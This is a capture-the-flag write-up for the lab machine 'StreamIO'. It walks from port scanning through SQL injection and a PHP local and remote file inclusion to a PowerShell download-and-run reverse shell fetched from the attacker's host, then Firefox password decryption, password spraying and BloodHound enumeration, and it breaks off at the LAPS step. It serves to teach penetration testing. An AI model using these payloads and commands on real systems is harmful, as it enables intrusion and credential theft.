Host entries:
1
10.10.10.125 watch.streamio.htb streamio.htb alpblog.streamio.htb
If Active Directory => NTP Synchronization with the domain controller.
Content
- LFI using PHP wrappers
- Source Code Review
- Detecting and exploiting remote file inclusion
- Firefox saved credentials retrieval and cracking
- Automatic LDAP enumeration for lateral movement
- LDAP abuse for privilege escalation
- LAPS password exposure
Reconnaissance
Initial reconnaissance for TCP ports
1
2
3
4
5
nmap -p- -sS --open --min-rate 5000 -Pn -n -vvv -oG allPorts 10.10.11.158
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.158 () Status: Up
Host: 10.10.11.158 () Ports: 53/open/tcp//domain///, 80/open/tcp//http///, 88/open/tcp//kerberos-sec///, 135/open/tcp//msrpc///, 139/open/tcp//netbios-ssn///, 389/open/tcp//ldap///, 443/open/tcp//https///, 445/open/tcp//microsoft-ds///, 464/open/tcp//kpasswd5///, 593/open/tcp//http-rpc-epmap///, 636/open/tcp//ldapssl///, 3268/open/tcp//globalcatLDAP///, 3269/open/tcp//globalcatLDAPssl///, 5985/open/tcp//wsman///, 9389/open/tcp//adws///, 49667/open/tcp/////, 49673/open/tcp/////, 49674/open/tcp/////, 49702/open/tcp///// Ignored State: filtered (65516)
Services and Versions running:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49702 -sCV -Pn -n -vvvv -oN targeted 10.10.11.158
Nmap scan report for 10.10.11.158
Host is up, received user-set (0.20s latency).
Scanned at 2023-04-24 23:10:36 CST for 102s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2023-04-25 12:10:44Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-22T07:03:28
| Not valid after: 2022-03-24T07:03:28
| MD5: b99a2c8da0b8b10aeefabe204abdecaf
| SHA-1: 6c6a3f5c753661d52da60e6675c056ce56e4656d
| -----BEGIN CERTIFICATE-----
| MIIDYjCCAkqgAwIBAgIUbdDRZxR55nbfMxJzBHWVXcH83kQwDQYJKoZIhvcNAQEL
| BQAwIDELMAkGA1UEBhMCRVUxETAPBgNVBAMMCHN0cmVhbUlPMB4XDTIyMDIyMjA3
| MDMyOFoXDTIyMDMyNDA3MDMyOFowIDELMAkGA1UEBhMCRVUxETAPBgNVBAMMCHN0
| cmVhbUlPMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2QSO8noWDU+A
| MYuhSMrB2mA+V7W2gwMdTHxYK0ausnBHdfQ4yGgAs7SdyYKXf8fA502x4LvYwgmd
| 67QtQdYtsTSv63SlnEW3zjJyu/dRW0cwMfBCqyiLgAScrxb/6HOhpnOAzk0DdBWE
| 2vobsSSAh+cDHVSuSbEBLqJ0GEL4hcggHhQq6HLRmmrb0wGjL1WIwjQ8cCWcFzzw
| 5Xe3gEe+aHK245qZKrZtHuXelFe72/nbF8VFiukkaBMgoh6VfpM66nMzy+KeLfhP
| FkxBt6osGUHwSnocJknc7t+ySRVTACAMPjbbPGEl4hvNEcZpepep6jD6qgi4k7bL
| 82Nu2AeSIQIDAQABo4GTMIGQMB0GA1UdDgQWBBRf0ALWCgvVfRgijR2I0KY0uRjY
| djAfBgNVHSMEGDAWgBRf0ALWCgvVfRgijR2I0KY0uRjYdjAPBgNVHRMBAf8EBTAD
| AQH/MCsGA1UdEQQkMCKCDHN0cmVhbUlPLmh0YoISd2F0Y2guc3RyZWFtSU8uaHRi
| MBAGA1UdIAQJMAcwBQYDKgMEMA0GCSqGSIb3DQEBCwUAA4IBAQCCAFvDk/XXswL4
| cP6nH8MEkdEU7yvMOIPp+6kpgujJsb/Pj66v37w4f3us53dcoixgunFfRO/qAjtY
| PNWjebXttLHER+fet53Mu/U8bVQO5QD6ErSYUrzW/l3PNUFHIewpNg09gmkY4gXt
| oZzGN7kvjuKHm+lG0MunVzcJzJ3WcLHQUcwEWAdSGeAyKTfGNy882YTUiAC3p7HT
| 61PwCI+lO/OU52VlgnItRHH+yexBTLRB+Oa2UhB7GnntQOR1S5g497Cs3yAciST2
| JaKhcCnBY1cWqUSAm56QK3mz55BNPcOUHLhrFLjIaWRVx8Ro8QOCWcxkTfVcKcR+
| DSJTOJH8
|_-----END CERTIFICATE-----
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
|_ssl-date: 2023-04-25T12:12:16+00:00; +7h00m01s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack Microsoft Windows RPC
49702/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 18376/tcp): CLEAN (Timeout)
| Check 2 (port 44245/tcp): CLEAN (Timeout)
| Check 3 (port 57902/udp): CLEAN (Timeout)
| Check 4 (port 25119/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-04-25T12:11:36
|_ start_date: N/A
As we can see port tcp-443 has a certificate bonded to a domain called watch.streamio.htb
once we add the domain to our /etc/hosts
file we can see that the following web page is to be shown:
After a fuzzing with dirsearch we identify that there is an endpoint called search.php on the machine:
1
2
dirsearch.py -u https://watch.streamio.htb/ -w /usr/share/seclists/Fuzzing/onelistforallshort.txt
Also fuzzing the streamio.htb
web page we identify the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
dirsearch -u https://streamio.htb/
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/streamio.htb/-_23-04-27_20-21-22.txt
Error Log: /home/kali/.dirsearch/logs/errors-23-04-27_20-21-22.log
Target: https://streamio.htb/
[20:21:22] Starting:
[20:21:25] 301 - 147B - /js -> https://streamio.htb/js/
[20:21:30] 301 - 150B - /ADMIN -> https://streamio.htb/ADMIN/
[20:21:30] 301 - 150B - /Admin -> https://streamio.htb/Admin/
[20:21:33] 200 - 8KB - /about.php
[20:21:34] 301 - 150B - /admin -> https://streamio.htb/admin/
[20:21:35] 403 - 18B - /admin/
[20:21:35] 403 - 18B - /admin/?/login
[20:21:35] 403 - 18B - /admin/index.php
[20:21:46] 200 - 6KB - /contact.php
[20:21:47] 301 - 148B - /css -> https://streamio.htb/css/
[20:21:51] 200 - 1KB - /favicon.ico
[20:21:51] 301 - 150B - /fonts -> https://streamio.htb/fonts/
[20:21:53] 403 - 1KB - /images/
[20:21:53] 301 - 151B - /images -> https://streamio.htb/images/
[20:21:53] 200 - 13KB - /index.php
[20:21:53] 200 - 13KB - /index.pHp
[20:21:53] 200 - 13KB - /index.php/login/
[20:21:54] 403 - 1KB - /js/
[20:21:57] 200 - 4KB - /login.php
[20:21:57] 302 - 0B - /logout.php -> https://streamio.htb/
[20:22:07] 200 - 4KB - /register.php
Exploitation
Let’s try to exploit an SQL Injection1 on the search bar we’ll use the most basic approach with UNION SELECT based SQLi.
First of all we need to identify the behavior of the database with sqli payloads, a good idea is to enumerate columns with sqli such as :
1
2
3
4
5
6
' union select 1-- -
' union select 1,2-- -
' union select 1,2,3-- -
' union select 1,2,3,4-- -
' union select 1,2,3,4,5-- -
' union select 1,2,3,4,5,6-- -
If there is a successsful answer then we need to identify which column retrieves information from the database.
1
' union select 1,@@version,3,4,5,6 -- -
You can also use any of the options below:
1
2
3
4
' union select 1,CURRENT_USER,3,4,5,6 -- -
' union select 1,user_name(),3,4,5,6 -- -
' union select 1,system_user,3,4,5,6 -- -
' union select 1,user,3,4,5,6 -- -
It is of upmost importance to gather the name of the database being used:
1
' union select 1,DB_NAME(),3,4,5,6 -- -
Once that we get the name of the database we can proceed to gather the tables on such database:
1
2
# First and simple option is retrieving all the info from a table
' union select 1,name,3,4,5,6 FROM STREAMIO..sysdatabases-- -
Another option is to retrieve the tables on a simple column with the function STRING_AGG:
1
' union select 1,(SELECT STRING_AGG(name, ', ') FROM STREAMIO..sysobjects),3,4,5,6-- -
Then we extract the column names, we can use a WHERE condition clause to extract only the columns from an specific table in this case the “users” table:
1
' union select 1,name,3,4,5,6 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name = 'users')-- -
Finally once that we gather all the info we then proceed to retrieve information from the table:
1
' union select 1,CONCAT(username, ' ', password),3,4,5,6 FROM users-- -
Then we get the list of users and its hashed passwords:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Alexendra 1c2b3d8270321140e5153f6637d3ee53
Austin 0049ac57646627b8d7aeaccf8b6a936f
Barbra 3961548825e3e21df5646cafe11c6c76
Barry 54c88b2dbd7b1a84012fabc1a4c73415
Baxter 22ee218331afd081b0dcd8115284bae3
Bruno 2a4e2cf22dd8fcb45adcb91be1e22ae8
Carmon 35394484d89fcfdb3c5e447fe749d213
Clara ef8f3d30a856cf166fb8215aca93e9ff
Diablo ec33265e5fc8c2f1b0c137bb7b3632b5
Garfield 8097cedd612cc37c29db152b6e9edbd3
Gloria 0cfaaaafb559f081df2befbe66686de0
James c660060492d9edcaa8332d89c99c9239
Juliette 6dcd87740abb64edfa36d170f0d5450d
Lauren 08344b85b329d7efd611b7a7743e8a09
Lenord ee0b8a0937abd60c2882eacb2f8dc49f
Lucifer 7df45a9e3de3863807c026ba48e55fb3
Michelle b83439b16f844bd6ffe35c02fe21b3c0
Oliver fd78db29173a5cf701bd69027cb9bf6b
Robert f03b910e2bd0313a23fdd7575f34a694
Robin dc332fb5576e9631c9dae83f194f8e70
Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
Samantha 083ffae904143c4796e464dac33c1f7d
Stan 384463526d288edcc95fc3701e523bc7
Thane 3577c47eb1e12c8ba021611e1280753c
Theodore 925e5408ecb67aea449373d668b7359e
Victor bf55e15b119860a6e6b5a164377da719
Victoria b22abb47a02b52d5dfa27fb0b534f693
William d62be0dc82071bccc1322d64ec5b6c51
yoshihide b779ba15cedfd22a023c4d8bcf5f2332
We then proceed to crack the most suspicious one which is the yoshihide
user:
1
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
After trying to login the machine via evil-winrm with this machine unsuccessfully, we then try to login to the streamio.htb
:
Fortunately we were able to login to the page but nothing seems to be changed, so we keep searching, remember that we have another endpoint before /admin
but we had no access, trying to access this time the page shows the following menu:
Every option on the menu has a parameter ?user=
, ?staff=
, ?movie=
, ?message=
this gives us a good option to fuzz parameters on a URL:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ffuf -c -u 'https://streamio.htb/admin/?FUZZ=' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --fs 1678 -b 'PHPSESSID=u890md8390v1co4e4r6n7hoe96'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://streamio.htb/admin/?FUZZ=
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Cookie: PHPSESSID=u890md8390v1co4e4r6n7hoe96
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 1678
________________________________________________
user [Status: 200, Size: 1702, Words: 86, Lines: 51, Duration: 82ms]
staff [Status: 200, Size: 12484, Words: 1784, Lines: 399, Duration: 88ms]
movie [Status: 200, Size: 319875, Words: 15967, Lines: 10779, Duration: 87ms]
debug [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 78ms]
Also it is important to fuzz php scripts, we identify the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -c -u 'https://streamio.htb/admin/FUZZ.php' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --fs 1678 -b 'PHPSESSID=u890md8390v1co4e4r6n7hoe96'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : https://streamio.htb/admin/FUZZ.php
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Cookie: PHPSESSID=u890md8390v1co4e4r6n7hoe96
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 1678
________________________________________________
master [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 106ms]
Master [Status: 200, Size: 58, Words: 5, Lines: 2, Duration: 98ms]
Also, if we have this we can try to exploit an LFI abusing this parameters and PHP Wrappers
1
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php
And the response is as follows:
Once we have the output we proceed to decode it
1
2
3
4
5
6
7
8
9
10
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);
We obtain passwords from the database but since we have no access to the database we can’t enumerate so we try now to read the master.php
file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST" action="?movie=">
<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
As we can see on the php code, the server is checking for the variable included
which is defined only for users authenticated as seen at the beginning of the index.php script. Additionally, the page master.php is accepting an include parameter, which is evaluating file contents. We can abuse this to perform remote file inclusion from the file_get_contents() and achieve remote code execution from eval(). Since we cannot directly access the functions unless the page is included from another page, we can use the ?debug= parameter in index.php to include master.php, which will in turn make a POST request to a remote server and attempt to load a remote file through the usage of an include parameter.
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(!defined('included'))
die("Only accessable through includes");
---------- SNIP ------------
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo("ERROR");
}
?>
At the end our request is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /admin/?debug=master.php HTTP/2
Host: streamio.htb
Cookie: PHPSESSID=7d9dr7d5sb0v0eu01vn59qrr9a
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
include=http://10.10.16.2:8081/test.php
The content of the test.php can be the system
PHP function which we’ll abuse to get a reverse shell with Invoke-PowerShellTcp.ps1
2
1
system("powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2/Invoke-PowerShellTcp.ps1')");
Once executed our payload with Burpsuite we’ll get a reverse shell as the user streamio\yoshihide
:
1
2
PS C:\Windows\Temp\shuciran> whoami
streamio\yoshihide
Root privesc
Once inside the machine we proceed to enumerate, and we identify some credentials on the index.php file within the /admin
folder with some hardcoded credentials:
1
2
3
4
5
6
7
8
9
10
PS C:\inetpub\streamio.htb\admin> type index.php
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
Now that we have this info we can try to login to the database directly from our revshell using sqlcmd as follows:
To execute a query we need to type
go
after every instruction
1
2
3
4
5
6
7
8
9
10
11
sqlcmd -s localhost -U db_admin -P 'B1@hx31234567890'
1> select name from master.sys.databases
2> go
name
-----
master
tempdb
model
msdb
STREAMIO
streamio_backup
We then proceed to extract info from the streamio_backup database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Use
1> use streamio_backup
2> go
#
1> select CONCAT(username, ' ', password) FROM users
2> go
-----------------------------------------------------------------------------------------------------
nikk37 389d14cb8e4e9b94b137deb1caf0612a
yoshihide b779ba15cedfd22a023c4d8bcf5f2332
James c660060492d9edcaa8332d89c99c9239
Theodore 925e5408ecb67aea449373d668b7359e
Samantha 083ffae904143c4796e464dac33c1f7d
Lauren 08344b85b329d7efd611b7a7743e8a09
William d62be0dc82071bccc1322d64ec5b6c51
Sabrina f87d3c0d6c8fd686aacc6627f1f493a5
Cracking the password with crackstation we retrieve the following credentials:
1
nikk37:get_dem_girls2@yahoo.com
By running WinPEAS we identify that there is a Firefox3 database as shown below:
This gives us an idea that there are some Firefox Cached Passwords which can be abused with firepwd.py as follows:
First go to the path file session for the user:
1
2
C:\\Users\\nikk37\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\br53rxeg.default-release
Then extract both files key4.db and logins.json and use the firepwd.py script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python3 /opt/firepwd/firepwd.py key4.db logins.json
-------------------- SNIP -----------------------------
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
}
}
}
OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
}
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
Now that we have credentials we try to execute the crackmapexec to enumerate which permissions are available with this credentials
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
crackmapexec ldap 10.10.11.158 -u users -p creds --continue-on-success
SMB 10.10.11.158 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.158 445 DC [-] streamIO.htb\\JDgodd:B1@hx3123456789
SMB 10.10.11.158 445 DC [-] streamIO.htb\\JDgodd:66boysandgirls..
SMB 10.10.11.158 445 DC [-] streamIO.htb\\JDgodd:get_dem_girls2@yahoo.com
LDAP 10.10.11.158 389 DC [+] streamIO.htb\\JDgodd:JDg0dd1s@d0p3cr3@t0r
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\JDgodd:n1kk1sd0p3t00:)
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\JDgodd:paddpadd@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\JDgodd:password@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\db_admin:B1@hx3123456789
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\db_admin:66boysandgirls..
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\db_admin:get_dem_girls2@yahoo.com
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\db_admin:JDg0dd1s@d0p3cr3@t0r
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\db_admin:n1kk1sd0p3t00:)
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\db_admin:paddpadd@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\db_admin:password@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:B1@hx3123456789
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:66boysandgirls..
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:get_dem_girls2@yahoo.com
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:JDg0dd1s@d0p3cr3@t0r
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:n1kk1sd0p3t00:)
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:paddpadd@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:password@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:B1@hx3123456789
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:66boysandgirls..
LDAP 10.10.11.158 389 DC [+] streamIO.htb\\nikk37:get_dem_girls2@yahoo.com
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:JDg0dd1s@d0p3cr3@t0r
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:n1kk1sd0p3t00:)
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:paddpadd@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:password@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\admin:B1@hx3123456789
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\admin:66boysandgirls..
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\admin:get_dem_girls2@yahoo.com
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\admin:JDg0dd1s@d0p3cr3@t0r
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\admin:n1kk1sd0p3t00:)
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\admin:paddpadd@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\admin:password@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:B1@hx3123456789
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:66boysandgirls..
LDAP 10.10.11.158 389 DC [+] streamIO.htb\\nikk37:get_dem_girls2@yahoo.com
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:JDg0dd1s@d0p3cr3@t0r
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:n1kk1sd0p3t00:)
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:paddpadd@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\nikk37:password@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:B1@hx3123456789
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:66boysandgirls..
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:get_dem_girls2@yahoo.com
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:JDg0dd1s@d0p3cr3@t0r
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:n1kk1sd0p3t00:)
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:paddpadd@12
LDAP 10.10.11.158 389 DC [-] streamIO.htb\\yoshihide:password@12
Even if there are credentials with different users, the best option is to do a Password Sprayer attack
And4 we get that user JDgodd
has privileges with LDAP so this gives us an idea to execute Bloodhound.py to enumerate the Domain:
1
python3 bloodhound.py -c All -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -ns 10.10.11.158 -d streamio.htb
Additionally,5 it is possible to execute SharpHound.exe within the machine to generate the Bloodhound inputs:
1
*Evil-WinRM* PS C:\Windows\Temp\shuciran> .\SharpHound.exe
Once that we have generated files we can then execute Bloodhound and check for privilege escalation within the domain.
It is a good idea to always mark all the owned users not only as
User Owned
but also asHigh Value
, some of the enumeration paths that BloodHound executes are only shown if thos marks are in place.
There is a special privilege found on JDgodd user which is ReadLAPSPassword
as shown in the image below:
This permissions allows to dump credentials that were stored within the LAPS Windows feature, if you want to know more about LAPS, the how’s and why’s about this feature this is a good article from n00py
To do that, we need to first enumerate to which groups our user belongs:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\Users\nikk37\downloads> net user JDgodd
User name JDgodd
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/22/2022 2:56:42 AM
Password expires Never
Password changeable 2/23/2022 2:56:42 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/1/2023 9:25:55 PM
Logon hours allowed All
Local Group Memberships
